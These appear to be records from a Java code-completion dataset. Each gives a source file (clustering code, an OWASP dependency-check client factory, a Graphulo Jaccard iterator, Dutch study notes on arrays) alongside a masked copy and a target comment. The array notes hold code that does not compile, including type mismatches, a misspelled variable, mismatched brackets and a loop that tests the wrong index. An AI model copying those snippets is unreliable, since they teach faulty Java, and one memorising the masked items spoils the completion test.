// System.out.println("\t\tCD:D = "+D);
// System.out.println("\t\tCD:R = "+R);
// System.out.println("\t\tCD:r = "+Arrays.toString(r));
double[] out = new double[r.length];
if (MathUtils.eq(VAR, 0)) {
// System.out.println("\t\tCD: VAR is considered ZERO !!!");
for (int i = 0; i < r.length; i++) {
if (MathUtils.eq(r[i], 0)) {
out[i] = Float.POSITIVE_INFINITY;
}
}
} else {
double SD = (2 * Math.pow(Math.PI, D / 2)) / (GammaFunction.gamma(D / 2));
double tmp_piVAR = 2 * Math.PI * VAR;
double tmp_piVARpow = Math.pow(tmp_piVAR, D / 2);
double tmp_piVARpowINV = 1 / tmp_piVARpow;
// System.out.println("\t\tCD:SD = "+SD);
// System.out.println("\t\tCD:tmp_piVAR = "+tmp_piVAR);
// System.out.println("\t\tCD:tmp_piVARpow = "+tmp_piVARpow);
// System.out.println("\t\tCD:tmp_piVARpowINV = "+tmp_piVARpowINV);
for (int i = 0; i < r.length; i++) {
double tmp_exp = -((r[i] * r[i]) / (2 * VAR));
// System.out.println("\t\tMath.pow(r[i],D-1) =
// "+Math.pow(r[i],D-1));
// System.out.println("\t\tCD:tmp_exp = "+tmp_exp);
// System.out.println("\t\tCD:exp(tmp_exp) =
// "+Math.exp(tmp_exp));
out[i] = (float) (SD * tmp_piVARpowINV * Math.pow(r[i], D - 1) * Math.exp(tmp_exp));
}
for (int i = 0; i < r.length; i++) {
if (MathUtils.eq(r[i], 0))
out[i] = 1;
}
}
return out;
}
/**
* Comparable to dist_misval
*
* Calculates the distance between each instance and the instance given as a
* float array.
*
* @param as
* @param ck
* @return
*/
private double[] calculateDistances(Vector<TaggedInstance> as, double[] ck) {
// voor elke instance van AS, trek er CK van af
// return de<SUF>
// verschil
double[] out = new double[as.size()];
for (int i = 0; i < as.size(); i++) {
Double[] values = as.get(i).inst.values().toArray(new Double[0]);
// float[]dif=new float[values.length];
float sum = 0;
for (int j = 0; j < values.length; j++) {
// dif[j]=
double dif = values[j] - ck[j];
sum += dif * dif;
}
out[i] = Math.sqrt(sum);
}
// Instance tmp=new SimpleInstance(ck);
// float[]out=new float[as.size()];
// for(int i=0;i<as.size();i++){
// out[i]=(float)dm.calculateDistance(tmp,as.get(i));
// }
return out;
}
// Significance level
private double S = 0.95f;
private double EXTTRESH2;
private double[] ME;
// modifies: CE,ME,EXTTRESH2
/**
* returns true if this step converged
*/
private boolean wan_shr_adap(Vector<TaggedInstance> A, double EXTTRESH) {
int samples = A.size();
double[] CE = new double[samples];
int MAXITER = 100;
double NRWAN = 30;
// System.out.println("FIRSTA = "+A.get(0));
double[] ME1 = mean(A);
// System.out.println("A = "+A);
// System.out.println("ME1 = " + Arrays.toString(ME1));
// System.out.println("EXTTRESH = "+EXTTRESH);
double[] DMI = calculateDistances(A, ME1);
// System.out.println("DMI = "+Arrays.toString(DMI));
double maxDMI = DMI[0];
double minDMI = DMI[0];
for (int i = 1; i < DMI.length; i++) {
if (DMI[i] > maxDMI)
maxDMI = DMI[i];
if (DMI[i] < minDMI)
minDMI = DMI[i];
}
EXTTRESH2 = maxDMI;
double MDIS = minDMI;
if (MathUtils.eq(MDIS, EXTTRESH2)) {
ME = ME1;
for (int i = 0; i < CE.length; i++)
CE[i] = 1;
EXTTRESH2 += 0.000001;
System.out.println("Cluster center localisation did not reach preliminary estimate of radius!");
return true;// TODO check if it should really be true, false is more
// logical
}
double DELTARAD = (EXTTRESH2 - EXTTRESH) / NRWAN;
double RADPR = EXTTRESH2;
EXTTRESH2 = EXTTRESH2 - DELTARAD;
if (EXTTRESH2 <= MDIS) {
EXTTRESH2 = (RADPR + MDIS) / 2;
}
Vector<Integer> Q = findLower(DMI, EXTTRESH2);
for (int i = 0; Q.size() != 0 && i < MAXITER; i++) {
double[] ME2 = mean(select(A, Q));
if (MathUtils.eq(ME1, ME2) && MathUtils.eq(RADPR, EXTTRESH2)) {
ME = ME2;
for (Integer index : Q) {
CE[index] = 1;
}
return true;
}
RADPR = EXTTRESH2;
DMI = calculateDistances(A, ME2);
if (EXTTRESH2 > EXTTRESH) {
EXTTRESH2 = Math.max(EXTTRESH, EXTTRESH2 - DELTARAD);
if (EXTTRESH2 < MathUtils.min(DMI)) {
EXTTRESH2 = RADPR;
}
}
Q = findLower(DMI, EXTTRESH2);
ME1 = ME2;
}
System.out.println("Preliminary cluster location did not converge");
// System.out.println("\t DMI = "+Arrays.toString(DMI));
System.out.println("\t EXTTRESH2 = " + EXTTRESH2);
return false;
}
/**
* return all the indices that are lower that the threshold
*
* @param array
* @param thres
* @return
*/
private Vector<Integer> findLower(double[] array, double threshold) {
Vector<Integer> out = new Vector<Integer>();
for (int i = 0; i < array.length; i++) {
if (array[i] < threshold)
out.add(i);
}
return out;
}
/**
* Return a vector with all instances that have their index in the indices
* vector.
*
* @param instances
* @param indices
* @return
*/
private Vector<TaggedInstance> select(Vector<TaggedInstance> instances, Vector<Integer> indices) {
Vector<TaggedInstance> out = new Vector<TaggedInstance>();
for (Integer index : indices) {
out.add(instances.get(index));
}
return out;
}
private double[] mean(Vector<TaggedInstance> a) {
double[] out = new double[a.get(0).inst.noAttributes()];
for (int i = 0; i < a.size(); i++) {
// System.out.println("Instance "+i+" = "+a.get(i));
for (int j = 0; j < a.get(0).inst.noAttributes(); j++)
out[j] += a.get(i).inst.value(j);
}
// System.out.println("OUT = "+Arrays.toString(out));
for (int j = 0; j < a.get(0).inst.noAttributes(); j++) {
out[j] /= a.size();
}
return out;
}
}
|
148168_3 | /*
* This file is part of dependency-check-core.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
* Copyright (c) 2019 Jason Dillon. All Rights Reserved.
*/
package org.owasp.dependencycheck.data.ossindex;
import java.io.File;
import org.sonatype.goodies.packageurl.RenderFlavor;
import org.sonatype.ossindex.service.client.OssindexClient;
import org.sonatype.ossindex.service.client.OssindexClientConfiguration;
import org.sonatype.ossindex.service.client.marshal.Marshaller;
import org.sonatype.ossindex.service.client.marshal.GsonMarshaller;
import org.sonatype.ossindex.service.client.internal.OssindexClientImpl;
import org.sonatype.ossindex.service.client.transport.Transport;
import org.sonatype.ossindex.service.client.transport.UserAgentSupplier;
import org.owasp.dependencycheck.utils.Settings;
import java.io.IOException;
import org.joda.time.Duration;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.sonatype.ossindex.service.client.cache.DirectoryCache;
import org.sonatype.ossindex.service.client.transport.AuthConfiguration;
/**
* Produces {@link OssindexClient} instances.
*
* @author Jason Dillon
* @since 5.0.0
*/
public final class OssindexClientFactory {
/**
* Static logger.
*/
private static final Logger LOGGER = LoggerFactory.getLogger(OssindexClientFactory.class);
static {
// prefer pkg scheme vs scheme-less variant
RenderFlavor.setDefault(RenderFlavor.SCHEME);
}
/**
* Private constructor for utility class.
*/
private OssindexClientFactory() {
//private constructor for utility class
}
/**
* Constructs a new OSS Index Client.
*
* @param settings the configured settings
* @return a new OSS Index Client
*/
public static OssindexClient create(final Settings settings) {
final OssindexClientConfiguration config = new OssindexClientConfiguration();
final String baseUrl = settings.getString(Settings.KEYS.ANALYZER_OSSINDEX_URL, null);
if (baseUrl != null) {
config.setBaseUrl(baseUrl);
}
final String username = settings.getString(Settings.KEYS.ANALYZER_OSSINDEX_USER);
final String password = settings.getString(Settings.KEYS.ANALYZER_OSSINDEX_PASSWORD);
if (username != null && password != null) {
final AuthConfiguration auth = new AuthConfiguration(username, password);
config.setAuthConfiguration(auth);
}
final int batchSize = settings.getInt(Settings.KEYS.ANALYZER_OSSINDEX_BATCH_SIZE, OssindexClientConfiguration.DEFAULT_BATCH_SIZE);
config.setBatchSize(batchSize);
// proxy likely does not need to be configured here as we are using the
// URLConnectionFactory#createHttpURLConnection() which automatically configures
// the proxy on the connection.
// ProxyConfiguration proxy = new ProxyConfiguration();
// settings.getString(Settings.KEYS.PROXY_PASSWORD);
// config.setProxyConfiguration(proxy);
if (settings.getBoolean(Settings.KEYS.ANALYZER_OSSINDEX_USE_CACHE, true)) {
final DirectoryCache.Configuration cache = new DirectoryCache.Configuration();
final File data;
try {
data = settings.getDataDirectory();
final File cacheDir = new File(data, "oss_cache");
if (cacheDir.isDirectory() || cacheDir.mkdirs()) {
cache.setBaseDir(cacheDir.toPath());
cache.setExpireAfter(Duration.standardHours(24));
config.setCacheConfiguration(cache);
LOGGER.debug("OSS Index Cache: " + cache);
} else {
LOGGER.warn("Unable to use a cache for the OSS Index");
}
} catch (IOException ex) {
LOGGER.warn("Unable to use a cache for the OSS Index", ex);
}
}
// customize User-Agent for use with dependency-check
final UserAgentSupplier userAgent = new UserAgentSupplier(
"dependency-check",
settings.getString(Settings.KEYS.APPLICATION_VERSION, "unknown")
);
final Transport transport = new ODCConnectionTransport(settings, config, userAgent);
final Marshaller marshaller = new GsonMarshaller();
return new OssindexClientImpl(config, transport, marshaller);
}
}
| Abinash-Seth/DependencyCheck | core/src/main/java/org/owasp/dependencycheck/data/ossindex/OssindexClientFactory.java | 1,350 | // prefer pkg scheme vs scheme-less variant | line_comment | nl | /*
* This file is part of dependency-check-core.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
* Copyright (c) 2019 Jason Dillon. All Rights Reserved.
*/
package org.owasp.dependencycheck.data.ossindex;
import java.io.File;
import org.sonatype.goodies.packageurl.RenderFlavor;
import org.sonatype.ossindex.service.client.OssindexClient;
import org.sonatype.ossindex.service.client.OssindexClientConfiguration;
import org.sonatype.ossindex.service.client.marshal.Marshaller;
import org.sonatype.ossindex.service.client.marshal.GsonMarshaller;
import org.sonatype.ossindex.service.client.internal.OssindexClientImpl;
import org.sonatype.ossindex.service.client.transport.Transport;
import org.sonatype.ossindex.service.client.transport.UserAgentSupplier;
import org.owasp.dependencycheck.utils.Settings;
import java.io.IOException;
import org.joda.time.Duration;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.sonatype.ossindex.service.client.cache.DirectoryCache;
import org.sonatype.ossindex.service.client.transport.AuthConfiguration;
/**
* Produces {@link OssindexClient} instances.
*
* @author Jason Dillon
* @since 5.0.0
*/
public final class OssindexClientFactory {
/**
* Static logger.
*/
private static final Logger LOGGER = LoggerFactory.getLogger(OssindexClientFactory.class);
static {
// prefer pkg<SUF>
RenderFlavor.setDefault(RenderFlavor.SCHEME);
}
/**
* Private constructor for utility class.
*/
private OssindexClientFactory() {
//private constructor for utility class
}
/**
* Constructs a new OSS Index Client.
*
* @param settings the configured settings
* @return a new OSS Index Client
*/
public static OssindexClient create(final Settings settings) {
final OssindexClientConfiguration config = new OssindexClientConfiguration();
final String baseUrl = settings.getString(Settings.KEYS.ANALYZER_OSSINDEX_URL, null);
if (baseUrl != null) {
config.setBaseUrl(baseUrl);
}
final String username = settings.getString(Settings.KEYS.ANALYZER_OSSINDEX_USER);
final String password = settings.getString(Settings.KEYS.ANALYZER_OSSINDEX_PASSWORD);
if (username != null && password != null) {
final AuthConfiguration auth = new AuthConfiguration(username, password);
config.setAuthConfiguration(auth);
}
final int batchSize = settings.getInt(Settings.KEYS.ANALYZER_OSSINDEX_BATCH_SIZE, OssindexClientConfiguration.DEFAULT_BATCH_SIZE);
config.setBatchSize(batchSize);
// proxy likely does not need to be configured here as we are using the
// URLConnectionFactory#createHttpURLConnection() which automatically configures
// the proxy on the connection.
// ProxyConfiguration proxy = new ProxyConfiguration();
// settings.getString(Settings.KEYS.PROXY_PASSWORD);
// config.setProxyConfiguration(proxy);
if (settings.getBoolean(Settings.KEYS.ANALYZER_OSSINDEX_USE_CACHE, true)) {
final DirectoryCache.Configuration cache = new DirectoryCache.Configuration();
final File data;
try {
data = settings.getDataDirectory();
final File cacheDir = new File(data, "oss_cache");
if (cacheDir.isDirectory() || cacheDir.mkdirs()) {
cache.setBaseDir(cacheDir.toPath());
cache.setExpireAfter(Duration.standardHours(24));
config.setCacheConfiguration(cache);
LOGGER.debug("OSS Index Cache: " + cache);
} else {
LOGGER.warn("Unable to use a cache for the OSS Index");
}
} catch (IOException ex) {
LOGGER.warn("Unable to use a cache for the OSS Index", ex);
}
}
// customize User-Agent for use with dependency-check
final UserAgentSupplier userAgent = new UserAgentSupplier(
"dependency-check",
settings.getString(Settings.KEYS.APPLICATION_VERSION, "unknown")
);
final Transport transport = new ODCConnectionTransport(settings, config, userAgent);
final Marshaller marshaller = new GsonMarshaller();
return new OssindexClientImpl(config, transport, marshaller);
}
}
|
3978_9 | package edu.mit.ll.graphulo.apply;
import com.google.common.collect.Iterators;
import edu.mit.ll.graphulo.skvi.RemoteSourceIterator;
import org.apache.accumulo.core.client.IteratorSetting;
import org.apache.accumulo.core.data.ByteSequence;
import org.apache.accumulo.core.data.Key;
import org.apache.accumulo.core.data.Range;
import org.apache.accumulo.core.data.Value;
import org.apache.accumulo.core.iterators.IteratorEnvironment;
import org.apache.accumulo.core.iterators.IteratorUtil;
import org.apache.accumulo.core.security.Authorizations;
import org.apache.hadoop.io.Text;
import org.apache.log4j.LogManager;
import org.apache.log4j.Logger;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.util.AbstractMap;
import java.util.Collection;
import java.util.Collections;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
/**
* Applies <tt>J_ij = J_ij / (d_i + d_j - J_ij)</tt>.
* <p>
* Only runs on scan and full major compactions,
* because JaccardDegreeApply must see all entries for a given key in order to correctly apply.
* Idempotent by a clever trick: JaccardDegreeApply will not touch values that have a decimal point '.'.
* It will run on values that do not have a decimal point, and it will always produce a decimal point when applied.
* <p>
* Possible future optimization: only need to scan the part of the degree table
* that is after the seek range's beginning trow. For example, if seeked to [v3,v5),
* we should scan the degree table on (v3,+inf) and load those degrees into a Map.
* <p>
* Preserves keys.
*/
public class JaccardDegreeApply implements ApplyOp {
private static final Logger log = LogManager.getLogger(JaccardDegreeApply.class);
/** Setup with {@link edu.mit.ll.graphulo.Graphulo#basicRemoteOpts(String, String, String, Authorizations)}
* basicRemoteOpts(ApplyIterator.APPLYOP + GraphuloUtil.OPT_SUFFIX, ADeg, null, Aauthorizations)
* options for RemoteSourceIterator. */
public static IteratorSetting iteratorSetting(int priority, Map<String,String> remoteOpts) {
IteratorSetting JDegApply = new IteratorSetting(priority, ApplyIterator.class, remoteOpts);
JDegApply.addOption(ApplyIterator.APPLYOP, JaccardDegreeApply.class.getName());
return JDegApply;
}
private RemoteSourceIterator remoteDegTable;
private Map<String,Double> degMap;
@Override
public void init(Map<String, String> options, IteratorEnvironment env) throws IOException {
// only run on scan or full major compaction
if (!env.getIteratorScope().equals(IteratorUtil.IteratorScope.scan)
&& !(env.getIteratorScope().equals(IteratorUtil.IteratorScope.majc) && env.isFullMajorCompaction())) {
remoteDegTable = null;
degMap = null;
return;
}
remoteDegTable = new RemoteSourceIterator();
remoteDegTable.init(null, options, env);
degMap = new HashMap<>();
scanDegreeTable();
}
private void scanDegreeTable() throws IOException {
remoteDegTable.seek(new Range(), Collections.<ByteSequence>emptySet(), false);
Text rowHolder = new Text();
while (remoteDegTable.hasTop()) {
degMap.put(remoteDegTable.getTopKey().getRow(rowHolder).toString(),
Double.valueOf(remoteDegTable.getTopValue().toString()));
remoteDegTable.next();
}
}
// for debugging:
// private static final Text t1 = new Text("1"), t10 = new Text("10");
// private Text trow = new Text(), tcol = new Text();
@Override
public Iterator<? extends Map.Entry<Key, Value>> apply(final Key k, Value v) {
// if (k.getRow(trow).equals(t1) && k.getColumnQualifier(tcol).equals(t10))
// log.warn("On k="+k.toStringNoTime()+" v="+new String(v.get()));
// check to make sure we're running on scan or full major compaction
if (remoteDegTable == null)
return Iterators.singletonIterator(new AbstractMap.SimpleImmutableEntry<>(k, v));
// Period indicates already processed Double value. No period indicates unprocessed Long value.
String vstr = v.toString();
if (vstr.contains("."))
return Iterators.singletonIterator(new AbstractMap.SimpleImmutableEntry<>(k, v));
long Jij_long = Long.parseLong(vstr);
if (Jij_long == 0)
return null; // no need to keep entries with value zero
double Jij = Jij_long;
String row = k.getRow().toString(), col = k.getColumnQualifier().toString();
Double rowDeg = degMap.get(row), colDeg = degMap.get(col);
// if (trow.equals(t1) && tcol.equals(t10))
// log.warn("On k="+k.toStringNoTime()+" v="+new String(v.get())+" do with rowDeg="+rowDeg+" and colDeg="+colDeg+" for: "+(Jij / (rowDeg+colDeg-Jij)));
if (rowDeg == null)
throw new IllegalStateException("Cannot find rowDeg in degree table:" +row);
if (colDeg == null)
throw new IllegalStateException("Cannot find colDeg in degree table:" +col);
return Iterators.singletonIterator( new AbstractMap.SimpleImmutableEntry<>(k,
new Value(Double.toString(Jij / (rowDeg+colDeg-Jij)).getBytes(StandardCharsets.UTF_8))
));
}
@Override
public void seekApplyOp(Range range, Collection<ByteSequence> columnFamilies, boolean inclusive) throws IOException {
}
}
| Accla/graphulo | src/main/java/edu/mit/ll/graphulo/apply/JaccardDegreeApply.java | 1,668 | // no need to keep entries with value zero | line_comment | nl | package edu.mit.ll.graphulo.apply;
import com.google.common.collect.Iterators;
import edu.mit.ll.graphulo.skvi.RemoteSourceIterator;
import org.apache.accumulo.core.client.IteratorSetting;
import org.apache.accumulo.core.data.ByteSequence;
import org.apache.accumulo.core.data.Key;
import org.apache.accumulo.core.data.Range;
import org.apache.accumulo.core.data.Value;
import org.apache.accumulo.core.iterators.IteratorEnvironment;
import org.apache.accumulo.core.iterators.IteratorUtil;
import org.apache.accumulo.core.security.Authorizations;
import org.apache.hadoop.io.Text;
import org.apache.log4j.LogManager;
import org.apache.log4j.Logger;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.util.AbstractMap;
import java.util.Collection;
import java.util.Collections;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
/**
* Applies <tt>J_ij = J_ij / (d_i + d_j - J_ij)</tt>.
* <p>
* Only runs on scan and full major compactions,
* because JaccardDegreeApply must see all entries for a given key in order to correctly apply.
* Idempotent by a clever trick: JaccardDegreeApply will not touch values that have a decimal point '.'.
* It will run on values that do not have a decimal point, and it will always produce a decimal point when applied.
* <p>
* Possible future optimization: only need to scan the part of the degree table
* that is after the seek range's beginning trow. For example, if seeked to [v3,v5),
* we should scan the degree table on (v3,+inf) and load those degrees into a Map.
* <p>
* Preserves keys.
*/
public class JaccardDegreeApply implements ApplyOp {
private static final Logger log = LogManager.getLogger(JaccardDegreeApply.class);
/** Setup with {@link edu.mit.ll.graphulo.Graphulo#basicRemoteOpts(String, String, String, Authorizations)}
* basicRemoteOpts(ApplyIterator.APPLYOP + GraphuloUtil.OPT_SUFFIX, ADeg, null, Aauthorizations)
* options for RemoteSourceIterator. */
public static IteratorSetting iteratorSetting(int priority, Map<String,String> remoteOpts) {
IteratorSetting JDegApply = new IteratorSetting(priority, ApplyIterator.class, remoteOpts);
JDegApply.addOption(ApplyIterator.APPLYOP, JaccardDegreeApply.class.getName());
return JDegApply;
}
private RemoteSourceIterator remoteDegTable;
private Map<String,Double> degMap;
@Override
public void init(Map<String, String> options, IteratorEnvironment env) throws IOException {
// only run on scan or full major compaction
if (!env.getIteratorScope().equals(IteratorUtil.IteratorScope.scan)
&& !(env.getIteratorScope().equals(IteratorUtil.IteratorScope.majc) && env.isFullMajorCompaction())) {
remoteDegTable = null;
degMap = null;
return;
}
remoteDegTable = new RemoteSourceIterator();
remoteDegTable.init(null, options, env);
degMap = new HashMap<>();
scanDegreeTable();
}
private void scanDegreeTable() throws IOException {
remoteDegTable.seek(new Range(), Collections.<ByteSequence>emptySet(), false);
Text rowHolder = new Text();
while (remoteDegTable.hasTop()) {
degMap.put(remoteDegTable.getTopKey().getRow(rowHolder).toString(),
Double.valueOf(remoteDegTable.getTopValue().toString()));
remoteDegTable.next();
}
}
// for debugging:
// private static final Text t1 = new Text("1"), t10 = new Text("10");
// private Text trow = new Text(), tcol = new Text();
@Override
public Iterator<? extends Map.Entry<Key, Value>> apply(final Key k, Value v) {
// if (k.getRow(trow).equals(t1) && k.getColumnQualifier(tcol).equals(t10))
// log.warn("On k="+k.toStringNoTime()+" v="+new String(v.get()));
// check to make sure we're running on scan or full major compaction
if (remoteDegTable == null)
return Iterators.singletonIterator(new AbstractMap.SimpleImmutableEntry<>(k, v));
// Period indicates already processed Double value. No period indicates unprocessed Long value.
String vstr = v.toString();
if (vstr.contains("."))
return Iterators.singletonIterator(new AbstractMap.SimpleImmutableEntry<>(k, v));
long Jij_long = Long.parseLong(vstr);
if (Jij_long == 0)
return null; // no need<SUF>
double Jij = Jij_long;
String row = k.getRow().toString(), col = k.getColumnQualifier().toString();
Double rowDeg = degMap.get(row), colDeg = degMap.get(col);
// if (trow.equals(t1) && tcol.equals(t10))
// log.warn("On k="+k.toStringNoTime()+" v="+new String(v.get())+" do with rowDeg="+rowDeg+" and colDeg="+colDeg+" for: "+(Jij / (rowDeg+colDeg-Jij)));
if (rowDeg == null)
throw new IllegalStateException("Cannot find rowDeg in degree table:" +row);
if (colDeg == null)
throw new IllegalStateException("Cannot find colDeg in degree table:" +col);
return Iterators.singletonIterator( new AbstractMap.SimpleImmutableEntry<>(k,
new Value(Double.toString(Jij / (rowDeg+colDeg-Jij)).getBytes(StandardCharsets.UTF_8))
));
}
@Override
public void seekApplyOp(Range range, Collection<ByteSequence> columnFamilies, boolean inclusive) throws IOException {
}
}
|
30843_10 | /* **************************
* 1-dim arrays
* **************************
*/
// - vaste grootte
// - efficient raadplegen en wegschrijven van en naar index
// - Kan objecten en primitieve types bevatten
// - iets andere syntax
// - toevoegen en verwijderen betekent eigenlijk overschrijven
// Declareren -> variabelen verwijzen naar null
Persoon[] personen;
double[] temperaturen;
int[] getallen;
// Initialiseren
personen = new Persoon[10]; // object - alle waardes in array == null
temperaturen = new double[100]; // prim type - alle waardes in array default value
getallen = new int[]{4,9,2,4,8,3,1};
// Declareren en initialiseren ineen
double[] gemiddelden = {1.2, 1.7, 1.9, 0.8};
// Toevoegen
temperaturen[0] = 7.53; // 0-index-based
personen[9] = new Persoon("Joe");
// Aanpassen
temperaturen[0] = 8.53;
personen[9] = new Persoon("Jack");
personen[9].setFirstName("William");
// Verwijderen (cel 'leeg' maken)
personen[9] = null;
// een element in een array van primitieve types verwijderen kan niet
// een primitief type kan niet null zijn
getallen[0] = 0;
getallen[1] = 0;
// Opvragen
double temp = temperaturen[0];
Persoon joe = personen[9];
// De lengte van de array opvragen
// .length -> Geen methode (geen haakjes)
int grootteArray = temperaturen.length;
String[] woorden = new String[10];
woorden[0] = "one";
woorden[3] = "four";
woorden[4] = "five";
System.out.println(woorden.length); // ?????
// Overlopen
// - for-loop
for(int i = 0; i<personen.length; i++){
Persoon persoon = personen[i];
if(persoon != null){
persoon.addCredits(5);
}
else {
personen[i] = new Persoon();
}
}
for(int i = 0; i<getallen.length; i++){
int straal = getallen[i];
int oppervlakte = straal * straal * Math.PI;
getallen[i] = oppervlakte;
}
// - for-each -> enkel gebruiken om op te vragen
for(Persoon persoon : personen){
System.out.println(persoon.getName());
}
// - while-lus: vroegtijdig stoppen
int i = 0;
while(i < temperaturen.length && temperaruren[i] <= 20){
i++;
}
double eersteTempBoven20 = temperaturen[i];
// Exceptions?
// - ArrayIndexOutOfBoundsException
// -> index >= 0 && index < array.length
// Enkele (static) utility methodes in de klasse Arrays
Arrays.sort(getallen);
String tekst = Arrays.toString(getallen); // [1,2,3,4,4,8,9]
/* **************************
* 2-dim arrays
* **************************
*/
// Declareren
String[][] speelveld;
Persoon[][] personen;
double[][] temperaturen;
int[][] getallen;
// Initialiseren
speelveld = new String[10][10]; // object - alle waardes in array == null
personen = new Persoon[10][50];
temperaturen = new double[52][7]; // prim type - alle waardes in array default value
getallen = {{4,9,2],{4,8,3},{1,7,6}};
String[][] woorden = new String[30]; // 30 regels op een blad
woorden[0] = new String[7]; // 7 woorden op regel 1
woorden[1] = new String[11]; // 11 woorden op regel 2
woorden[2] = new String[14]; // 14 woorden op regel 3
// ...
woorden[29] = new String[12]; // 12 woorden op regel 29
// Toevoegen
temperaturen[0][0] = 7.53; // 0-index-based
speelveld[4][6] = "^";
personen[7][13] = new Persoon("Joe");
// Aanpassen
temperaturen[0][0] = 8.53;
speelveld[4][6] = "*";
personen[7][13] = new Persoon("Jack");
personen[7][13].setFirstName("William");
// Verwijderen (cel 'leeg' maken)
personen[7][13] = null;
// een element in een array van primitieve types verwijderen kan niet
// een primitief type kan niet null zijn
temperaturen[0][0] = 0;
temperaturen[0][1] = 0;
// Opvragen
double temp = temperaturen[0][0];
Persoon persoon = personen[7][13];
Persoon[] rijPersonen = persoon[5]; // een 1-dim array
// De lengte van de array opvragen (#rijen)
int aantalRijen = temperaturen.length
// De lengte van een rij opvragen (#kolommen)
int aantalKolommenInRijNul = temperaturen[0].length
// Overlopen
// for-loop: volledig overlopen
for(int i = 0; i<personen.length; i++){
for(int j = 0; i<personen[i].length; j++){
Persoon persoon = personen[i][j];
if(persoon != null){
persoon.setCredits(5);
}
else {
personen[i][j] = new Persoon();
}
}
}
| AchielC123/examens-toegepaste-informatica | Examenperiode januari 2022/11-1 Fundamentals of Programming/Arrays.java | 1,522 | // Verwijderen (cel 'leeg' maken) | line_comment | nl | /* **************************
* 1-dim arrays
* **************************
*/
// - vaste grootte
// - efficient raadplegen en wegschrijven van en naar index
// - Kan objecten en primitieve types bevatten
// - iets andere syntax
// - toevoegen en verwijderen betekent eigenlijk overschrijven
// Declareren -> variabelen verwijzen naar null
Persoon[] personen;
double[] temperaturen;
int[] getallen;
// Initialiseren
personen = new Persoon[10]; // object - alle waardes in array == null
temperaturen = new double[100]; // prim type - alle waardes in array default value
getallen = new int[]{4,9,2,4,8,3,1};
// Declareren en initialiseren ineen
double[] gemiddelden = {1.2, 1.7, 1.9, 0.8};
// Toevoegen
temperaturen[0] = 7.53; // 0-index-based
personen[9] = new Persoon("Joe");
// Aanpassen
temperaturen[0] = 8.53;
personen[9] = new Persoon("Jack");
personen[9].setFirstName("William");
// Verwijderen (cel<SUF>
personen[9] = null;
// een element in een array van primitieve types verwijderen kan niet
// een primitief type kan niet null zijn
getallen[0] = 0;
getallen[1] = 0;
// Opvragen
double temp = temperaturen[0];
Persoon joe = personen[9];
// De lengte van de array opvragen
// .length -> Geen methode (geen haakjes)
int grootteArray = temperaturen.length;
String[] woorden = new String[10];
woorden[0] = "one";
woorden[3] = "four";
woorden[4] = "five";
System.out.println(woorden.length); // ?????
// Overlopen
// - for-loop
for(int i = 0; i<personen.length; i++){
Persoon persoon = personen[i];
if(persoon != null){
persoon.addCredits(5);
}
else {
personen[i] = new Persoon();
}
}
for(int i = 0; i<getallen.length; i++){
int straal = getallen[i];
int oppervlakte = straal * straal * Math.PI;
getallen[i] = oppervlakte;
}
// - for-each -> enkel gebruiken om op te vragen
for(Persoon persoon : personen){
System.out.println(persoon.getName());
}
// - while-lus: vroegtijdig stoppen
int i = 0;
while(i < temperaturen.length && temperaruren[i] <= 20){
i++;
}
double eersteTempBoven20 = temperaturen[i];
// Exceptions?
// - ArrayIndexOutOfBoundsException
// -> index >= 0 && index < array.length
// Enkele (static) utility methodes in de klasse Arrays
Arrays.sort(getallen);
String tekst = Arrays.toString(getallen); // [1,2,3,4,4,8,9]
/* **************************
* 2-dim arrays
* **************************
*/
// Declareren
String[][] speelveld;
Persoon[][] personen;
double[][] temperaturen;
int[][] getallen;
// Initialiseren
speelveld = new String[10][10]; // object - alle waardes in array == null
personen = new Persoon[10][50];
temperaturen = new double[52][7]; // prim type - alle waardes in array default value
getallen = {{4,9,2],{4,8,3},{1,7,6}};
String[][] woorden = new String[30]; // 30 regels op een blad
woorden[0] = new String[7]; // 7 woorden op regel 1
woorden[1] = new String[11]; // 11 woorden op regel 2
woorden[2] = new String[14]; // 14 woorden op regel 3
// ...
woorden[29] = new String[12]; // 12 woorden op regel 29
// Toevoegen
temperaturen[0][0] = 7.53; // 0-index-based
speelveld[4][6] = "^";
personen[7][13] = new Persoon("Joe");
// Aanpassen
temperaturen[0][0] = 8.53;
speelveld[4][6] = "*";
personen[7][13] = new Persoon("Jack");
personen[7][13].setFirstName("William");
// Verwijderen (cel 'leeg' maken)
personen[7][13] = null;
// een element in een array van primitieve types verwijderen kan niet
// een primitief type kan niet null zijn
temperaturen[0][0] = 0;
temperaturen[0][1] = 0;
// Opvragen
double temp = temperaturen[0][0];
Persoon persoon = personen[7][13];
Persoon[] rijPersonen = persoon[5]; // een 1-dim array
// De lengte van de array opvragen (#rijen)
int aantalRijen = temperaturen.length
// De lengte van een rij opvragen (#kolommen)
int aantalKolommenInRijNul = temperaturen[0].length
// Overlopen
// for-loop: volledig overlopen
for(int i = 0; i<personen.length; i++){
for(int j = 0; i<personen[i].length; j++){
Persoon persoon = personen[i][j];
if(persoon != null){
persoon.setCredits(5);
}
else {
personen[i][j] = new Persoon();
}
}
}
|
126537_14 | package b1_sync_stock;
import java.io.IOException;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import java.text.ParseException;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Calendar;
import java.util.Date;
import java.util.GregorianCalendar;
import java.util.HashMap;
import java.util.List;
